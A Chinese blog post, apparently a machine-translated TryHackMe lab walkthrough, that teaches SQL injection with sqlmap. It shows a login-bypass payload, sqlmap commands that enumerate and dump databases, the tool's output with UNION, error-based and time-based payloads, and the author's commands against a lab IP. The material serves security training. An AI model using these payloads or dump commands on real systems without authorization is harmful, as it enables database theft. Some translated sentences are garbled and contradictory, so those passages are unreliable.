首页 > 数据库 >Cyber Security 101-Offensive Security-SQLMap: The Basics(sqlmap基础)

Cyber Security 101-Offensive Security-SQLMap: The Basics(sqlmap基础)

时间:2025-01-16 11:58:40浏览次数:3  
标签:SQLMap sqlmap URL 08 INFO -- SQL Security ___

了解 SQL 注入并通过 SQLMap 工具利用此漏洞。

任务1:介绍

SQL 注入是一个普遍存在的漏洞,长期以来一直是热门 网络安全主题。要了解这个漏洞,我们必须首先 了解什么是数据库以及网站如何与数据库交互

数据库是可以存储、修改和 检索。它将来自多个应用程序的数据存储在结构化的 格式,使存储、修改和检索变得简单高效。 您每天都会与多个网站互动。该网站包含一些 需要用户输入的网页。例如,一个 登录页面要求您输入凭据,输入 他们,它会检查凭据是否正确,如果他们是。随着许多用户登录该网站,该网站如何记录所有这些用户的数据,并在身份验证期间进行验证 过程?这一切都是在数据库的帮助下完成的。这些网站 拥有存储用户和其他信息并检索它的数据库 需要时。因此,当您输入凭据以登录网站时 页面上,网站会与其数据库交互以检查这些 凭据是正确的。同样,如果您有要搜索的输入字段 例如,对于某项内容,书店网站的输入字段允许 您可以搜索可供出售的书籍。当您搜索任何 book 中,该网站将与数据库交互以获取 该书并将其展示在网站上。

现在,我们知道网站要求数据库检索、存储、 或修改任何数据。那么,这种互动是如何发生的呢?这数据库由数据库管理系统 (DBMS) 管理,例如 MySQL、PostgreSQL、SQLite 或 Microsoft SQL Server。这些系统 了解结构化查询语言 (SQL)。因此,任何应用程序或 网站在与数据库交互时使用 SQL 查询。

这个房间将教您 SQL 注入的基础知识,以及如何使用自动化工具执行 SQL 注入。它会 还可以通过动手挑战实际深入到该主题中。

学习目标

  • SQL 注入漏洞
  • 通过 SQLMap 工具搜寻 SQL 注入

会议室先决条件

虽然拥有扎实的 SQL 基础知识很有帮助,但完成这个房间并不是必需的。

任务2:SQL注入漏洞

在上一个任务中,我们研究了网站和应用程序如何与数据库交互以在结构化的方式。在这个任务中,我们将看到应用程序和数据库通过 SQL 查询进行,以及SQL 查询的发生方式攻击者可以利用这些 SQL 查询来执行 SQL 注入攻击。

注意:在继续之前,请确保您仅在获得应用程序所有者的许可后才能尝试手动或自动 SQL 注入方法。

让我们举一个登录页面的示例,该页面要求您输入您的 用户名和密码登录。让我们为它提供以下内容 数据:

Username: John

Password: Un@detectable444

输入用户名和密码后,网站将收到 it,使用您的凭证进行 SQL 查询,并将其发送到 数据库

SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';

此查询将在数据库中执行。根据此查询,数据库将检查名为John的用户名和密码:Un@detectable444的。如果找到这样的用户,它将返回该用户的 details 添加到应用程序。请注意,上述查询将成功仅当给定的 user 和 pass 在 database 的 AS as as as 它们由布尔值 “AND” 分隔。

有时,当输入被正确清理时,这意味着用户 input 未经过验证,攻击者可以操纵输入并编写 SQL 查询,这些查询将在数据库中执行并执行 攻击者所需的操作。SQL 注入在 这个数字世界,因为所有组织都存储他们的数据,包括 他们的关键信息、数据库内部以及成功的 SQL 注入攻击可能会危及他们的关键数据。

假设我们上面讨论的网站登录页面缺少输入 验证和清理。这意味着它容易受到 SQL 注入的攻击。攻击者不知道用户 John 的密码。他们将在给定的字段中输入以下内容:

Username: John

Password: abc' OR 1=1;-- -

这一次,攻击者键入了一个随机字符串和一个注入的字符串 .网站将发送到的 SQL 查询数据库现在将变为:abc' OR 1=1;-- -

SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';

此语句看起来与之前的 SQL 查询类似,但现在添加了 OR运算符 .此查询将查看是否存在 是用户 John。然后,它将检查 John 是否拥有密码abc(即 他不可能,因为攻击者输入了一个随机密码)。 理想情况下,查询在此处应失败,因为它需要 username 和 password 是正确的,因为它们之间有一个AND运算符。但 OR此查询在密码和 1=1陈述。其中任何一个为 true 都会使整个 SQL 查询成功。密码失败,因此查询将检查下一个 condition,它检查是否1=1 .正如我们所知1=1,永远是正确的,所以 它将忽略在此之前输入的随机密码并考虑此 语句设置为 true,这将成功执行此查询。查询末尾的 -- -将注释 之后的任何内容,这意味着1=1查询将成功执行,并且攻击者将登录到 John 的用户帐户。

这里需要注意的重要事项之一是在。如果没有这个单引号,'abc OR 1=1整个字符串将被视为密码,这不是故意的。但是,如果我们在之后添加单引号,则密码将类似于 ,它将原始字符串 abc 包含在查询中,并允许我们引入一个逻辑条件 ,该条件始终为 true。abc';-- -''abc'abc' OR 1=1;---'OR 1=1

任务3:自动化SOL注入工具

执行 SQL 注入攻击涉及发现应用程序内部的 SQL 注入漏洞并操纵 数据库。但是,手动执行所有这些操作可能需要时间,并且 努力。

SQLMap 是一种用于检测和利用 SQL 的自动化工具 Web 应用程序中的注入漏洞。它简化了流程 识别这些漏洞。这个工具内置于一些 Linux 中 发行版,但如果不是,您可以轻松安装它。

由于这是一个命令行工具,因此您必须打开 Linux 操作系统终端 以使用它。--help带有 SQLMap 的命令将列出所有可用的 标志。如果您不想手动将标志添加到每个命令中,请将该--wizard标志与 SQLMap 一起使用。当您使用此标记时,该工具将指导您完成每个步骤并提出问题以完成扫描。 使其成为初学者的完美选择。

user@ubuntu:~$ sqlmap --wizard
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.2.4#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]

[*] starting at 08:42:50

[08:42:50] [INFO] starting wizard interface
Please enter full target URL (-u): 

--dbs标志可帮助您提取所有数据库名称。一旦你到达 知道数据库名称,您可以提取有关表 该数据库使用-D database_name --tables .获取 tables 中,如果要枚举这些 table 中的记录,则可以 用-D database_name -T table_name --dump。不同的标志 用于从 数据库。现在,让我们看一个实际场景并使用上述所有内容 标志来利用易受 SQL 注入攻击的 Web 应用程序。

第一步是查找可能易受攻击的 URL 或请求。您可能经常会遇到一些使用 GET 参数来检索数据的 URL。例如,像这样的 URL: http://sqlmaptesting.thm/search?cat=1使用cat的值为1: .如果您看到任何 Web 应用程序在 URL 中使用 GET 参数 检索数据,您可以使用 -u 标志测试该 URL 在 SQLMap 工具中。这被视为基于 HTTP GET 的测试。 当应用程序在 用于从搜索中检索数据的 URL。

我们将使用一个据称易受攻击的网站 URL:http://sqlmaptesting.thm 进行演示。假设这个网站有一个搜索选项,当您单击此搜索选项并搜索某些内容时,URL将变为http://sqlmaptesting.thm/search/cat=1 ,它使用 URL 中的 GET 参数从数据库中cat=1提取信息。众所周知,具有 GET 参数的 URL 容易受到 SQL 注入的攻击;让我们扫描此 URL 以确定它是否存在任何 SQL 注入漏洞。

user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1
      __H__
 ___ ___[']_____ ___ ___  {1.2.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:43:49] [INFO] testing connection to the target URL
[08:43:49] [INFO] heuristics detected web page charset 'ascii'
[08:43:49] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[08:43:49] [INFO] testing if the target URL content is stable
[08:43:50] [INFO] target URL content is stable
[08:43:50] [INFO] testing if GET parameter 'cat' is dynamic
[text removed]
[08:45:04] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[text removed]
[08:45:08] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: cat=1 AND EXTRACTVALUE(1846,CONCAT(0x5c,0x716a787071,(SELECT (ELT(1846=1846,1))),0x7170766a71))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cat=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT CONCAT(0x716a787071,0x714d486661414f6456787a4a55796b6c7a78574f7858507a6e6a725647436e64496f4965794c6873,0x7170766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HMgq
---
[08:45:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[text removed]

上述终端中的结果显示,在目标 URL 中识别了不同类型的 SQL 注入,例如基于布尔的盲注、基于错误的盲注、基于时间的盲注和 UNION 查询。这些是利用 SQL 注入漏洞的不同技术。例如,在基于布尔值的盲目 SQL 注入中,修改 SQL 查询,并在查询中包含布尔表达式(始终为 true,例如 1=1)以提取信息。而在基于错误的 SQL 注入中,某些查询被有意修改为在数据库发送的结果中生成错误。这些错误通常包含有关数据的宝贵信息。同样,其他 SQL 注入技术也可以用于利用数据库。

我们为目标执行的命令的结果表明http://sqlmaptesting.thm/search/cat=1,此 URL 上可以进行不同类型的 SQL 注入。让我们使用我们之前研究过的 SQLMap 的标志来利用它们并从数据库中提取一些有价值的数据。

要获取数据库,我们使用--dbs标志。让我们试试这个标志 替换为我们易受攻击的 URL:

user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 --dbs
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:49:00] [INFO] resuming back-end DBMS' mysql' 
[08:49:00] [INFO] testing connection to the target URL
[08:49:01] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]    
[08:49:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:49:01] [INFO] fetching database names
available databases [2]:
[*] users
[*] members

[text removed]

运行上述命令后,我们得到了两个数据库名称。 选择users数据库并获取其中的表。我们将在标志 -D之后定义数据库,并在末尾使用--tables 标志 来提取所有表名。

user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users --tables
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:50:46] [INFO] resuming back-end DBMS' mysql' 
[08:50:46] [INFO] testing connection to the target URL
[08:50:46] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]
[08:50:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:50:46] [INFO] fetching tables for database: 'users'
Database: acuart
[3 tables]
+-----------+
| johnath   |
| alexas    |
| thomas    |     
+-----------+

[text removed]

现在我们已经有了数据库的所有可用表名,让我们 转储表中存在的thomas记录。为此,我们将定义 带有 -D 的数据库,带有-T flag 的表,以及用于提取 records 的 s 中,我们将使用 --dump来获取该标志。

user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thmsearch/cat=1 -D users -T thomas --dump
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:51:48] [INFO] resuming back-end DBMS' mysql' 
[08:51:48] [INFO] testing connection to the target URL
[08:51:49] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]
[08:51:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:51:49] [INFO] fetching columns for table 'thomas' in database 'users'
[08:51:49] [INFO] fetching entries for table 'thomas' in database' users'
[08:51:49] [INFO] recognized possible password hashes in column 'passhash'
do you want to store hashes to a temporary file for eventual further processing n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: users
Table: thomas
[1 entry]
+---------------------+------------+---------+
| Date                | name       | pass    |    
+---------------------+------------+----------
| 09/09/2024          | Thomas THM | testing |    
+---------------------+------------+---------+

[text removed]

但是,与上述用于测试的 URL 不同,您还可以使用基于 POST 的测试,其中应用程序在请求正文中发送数据,而不是在 URL 中发送数据。这方面的示例可以是登录表单、 登记表格等要遵循此方法,您必须拦截 POST 请求并将其保存为文本 文件。您可以使用以下命令输入保存在 将文本文件复制到 SQLMap 工具中:

user@ubuntu:~$ sqlmap -r intercepted_request.txt

注意:学习如何拦截和捕获 POST 请求超出了此房间的范围。

任务4:实践练习

在此任务中,我们附加了一个易受攻击的 Web 应用程序,供您使用 测试 SQL 注入漏洞。让我们通过按下下面给出的 Start Machine 按钮来启动虚拟机。设备将启动,并显示 IP 地址。您现在可以通过单击顶部的 Start AttackBox 按钮来打开攻击框。AttackBox 将在分屏视图中为您打开。您将使用此机器通过 SQLMap 工具执行 SQL 注入。

注意: 强烈建议使用 AttackBox 执行此任务。

Web 应用程序有一个托管在 的登录页面。当您访问此 URL 时,您将看到一个易受 SQL 注入攻击的登录页面。http://10.10.187.181/ai/login

在前面的任务中,我们看到,如果我们在 URL 中,它们可能容易受到 SQL 注入的攻击,我们可以将 该 URL 以将其与 SQLMap 一起使用。我们还看到,如果有一个 POST 请求,并且数据是在 body 而不是 URL 内部发送的,那么我们可以 拦截请求并将其与 SQLMap 工具一起使用,以利用 SQL 注入漏洞(如果有)。

但是,在此任务中,在登录页面上,我们使用了 GET 请求,但此请求的参数在 URL 中不可见 就像他们在上一个任务的网站上一样。要使用 SQLMap 测试 URL,我们需要将 URL 与 GET 参数一起提供。

因此,要获取完整的 URL 及其 GET 参数,我们需要右键单击登录页面并单击检查选项(该过程可能因浏览器而异)。从这里,我们必须选择 Network (网络) 选项卡;然后我们必须在 username 和 password 字段中输入一些测试凭证,然后单击 login 按钮,我们将能够看到 GET 请求。单击该请求,我们可以看到完整的 GET 请求 替换为参数。我们可以复制这个完整的 URL 并将其与 SQLMap 一起使用 工具来发现其中的 SQL 注入漏洞并加以利用 它。完整的请求如下面的屏幕截图所示:

意: 如果您无法通过上述过程提取 URL,您可以从下面复制它:

http://10.10.187.181/ai/includes/user_login?email=test&password=test

在此 URL 上运行上一个任务中讨论的命令,并回答此任务中给出的问题。此外,请记住将您的 URL 包含在单引号中。这是为了避免终端中出现特殊字符的错误,例如 .'?

重要提示:您可能无法通过简单的扫描获得结果;在命令末尾添加以执行深度扫描。其次,在运行命令时,该工具可能会问您一些问题;确保按以下方式回答它们以顺利运行扫描:--level=5

  • 后端 DBMS 似乎是“MySQL”。是否要跳过特定于其他 DBMS 的测试负载?[是/否]:y
  • 对于其余测试,是否要包括扩展提供的风险 (1) 值的 'MySQL' 的所有测试?[是/否]:y
  • NULL 值无法利用注入。是否要尝试为选项 '--union-char' 使用随机整数值?[是/否]:y
  • GET 参数 'email' 易受攻击。是否要继续测试其他 (如果有)?[是/否]:n

sqlmap -u 'http://10.10.254.23/ai/includes/user_login?email=test&password=test' --level=5 --dbs

这里扫出来是可能是mysql数据库

这里扫描了半天,服了。

sqlmap -u 'http://10.10.254.23/ai/includes/user_login?email=test&password=test' --level=5 -D ai --tables

sqlmap -u 'http://10.10.254.23/ai/includes/user_login?email=test&password=test' --level=5 -D ai -T user --dump

标签:SQLMap,sqlmap,URL,08,INFO,--,SQL,Security,___
From: https://blog.csdn.net/2301_79096184/article/details/145163102

相关文章

  • LAMPSecurityCTF5---靶机练习
    LAMPSecurityCTF5靶机练习声明B站UP主泷羽sec笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。✍......
  • security状态切换
    在SpringSecurity中,"未认证"到"已认证"的转换是通过Authentication对象的状态变化来实现的。以下是具体的实现原理和步骤:1.核心原理"未认证":最初,Authentication对象中没有认证成功的标志,例如用户凭据(用户名和密码)仅供验证使用。"已认证":一旦验证成功,会创......
  • LampSecurityCTF4---靶机练习
    LampSecurityCTF4靶机练习声明B站UP主泷羽sec笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。✍......
  • springsecurity认证总结
    SpringSecurity登录认证整体流程以下是SpringSecurity登录认证流程的完整步骤,包括所有核心组件的参与和它们的作用:1.用户请求登录用户通过浏览器发送登录请求,通常为POST/login,并在请求体中携带用户名和密码。请求会被SpringSecurity拦截器链中的过滤器捕获,默认......
  • 自动化安全加固(Automated Security Hardening)是指通过自动化工具和技术对计算机系统、
    自动化安全加固(AutomatedSecurityHardening)是指通过自动化工具和技术对计算机系统、网络设备、应用程序等进行安全配置和加固的过程。其目的是通过减少人为干预和错误,提高系统的安全性,防止潜在的安全漏洞和攻击。1. 是什么自动化安全加固的核心是自动化执行一系列安全加固措......
  • 【BUG排查记】HttpUtil和SpringSecurity结合的坑
    一、背景最近为了做微服务高可用和优化上线流程,我参与了一个微服务的改造开发。主要包括redis切换哨兵模式、接入高可用xxljob集群、配置和升级脚本优化。二、问题描述  项目改造提测后,测试发现一个依赖远程http调用的功能不可用三、问题分析  查看......
  • 网站扫描出的漏洞解决:检测到目标Content-Security-Policy、X-XSS-Protection/Content-
    网站扫描出的漏洞解决:检测到目标Content-Security-Policy、X-XSS-Protection/Content-Security-Policy响应头缺失、加密算法等处理修复方法使用一些漏洞扫描工具对服务器进行搜查,总得扫出一些漏洞,比如检测到目标X-…响应头缺失之类的,扫描后报了不少头漏洞问题,之前碰到过也......
  • Spring Security 认证
    SpringSecurity认证SpringSecurity认证是指通过SpringSecurity框架提供的机制来验证用户的身份,确保用户是经过授权的合法用户。认证过程通常包括以下几个步骤:1.用户登录提交登录信息:用户通过登录表单提交用户名和密码等登录信息。过滤器处理:登录请求通常会被Use......
  • 【中州养老】《重点!!》 项目学习心得图解day06(一)权限认证-项目集成SpringSecurity(黑m程
    Day06权限认证-项目集成SpringSecurity文章目录Day06权限认证-项目集成SpringSecurity一、登录功能实现二、LoginServiceImpl的login方法思路三、将用户数据存入线程中四、自定义授权管理器一、登录功能实现二、LoginServiceImpl的login方法思路功能描述用户......
  • 安全框架SpringSecurity进阶【详解,附有图文+示例代码】
    文章目录十二.SpringSecurity进阶12.1认证流程12.2简单实现(无权限)思路分析准备工作导入依赖添加Redis相关配置Redis使用FastJson序列化RedisCache缓存Redis配置类响应类JWT工具类WebUtils工具类数据库准备实体类yml配置文件实现配置密码加密器12.3自定义登录接口12.......